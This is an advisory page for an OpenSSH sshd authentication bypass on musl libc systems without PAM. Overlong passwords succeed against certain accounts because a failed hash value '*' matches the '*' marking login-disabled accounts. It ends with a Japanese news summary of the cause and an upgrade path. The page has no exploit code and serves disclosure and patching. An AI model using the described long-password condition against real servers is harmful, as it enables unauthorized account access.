CVE-2026-123158

HIGH POC Pub 05/11 Upd 06/11

Overview

This vulnerability is an authentication bypass in OpenSSH's sshd component affecting Linux builds that use musl libc without PAM. The root cause is a logic flaw in password hash interpretation, where sshd misclassifies certain password strings as valid hashes. This flaw occurs in the password authentication mechanism, specifically when processing passwords between 256 and 1024 characters long, allowing bypass of normal authentication checks under specific account configurations.

Vulnerability Description

sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.

Impact

An unauthenticated attacker can gain unauthorized access to user accounts on affected OpenSSH servers by supplying specially crafted long passwords, bypassing password authentication entirely. This requires no user interaction or valid credentials and allows attackers to log in as any user configured under vulnerable conditions. The consequence is a full compromise of user accounts, potentially enabling lateral movement, data exfiltration, or further system compromise on affected Linux systems using musl libc without PAM.

Solution

Upgrade OpenSSH to version 10.6p2 or later, which includes the fix addressing this authentication bypass. The vendor's release notes (https://www.openssh.org/releasenotes.html#10.6p2) and the official commit (https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482) provide detailed patch information. Users of Alpine Linux and other musl libc without PAM environments should prioritize this update to mitigate the vulnerability.

    約10年間見逃されていたOpenSSHの脆弱性「*sshole」が発覚、257文字以上のパスワードでログイン禁止アカウントを突破可能に ハッシュ計算の失敗を示す「*」が、パスワード禁止アカウントの「*」と一致し、認証が通ってしまう経緯です。 失敗を正常な結果と同じ見た目の値で返すと、比較する側はその失敗を成功と区別できなくなります。
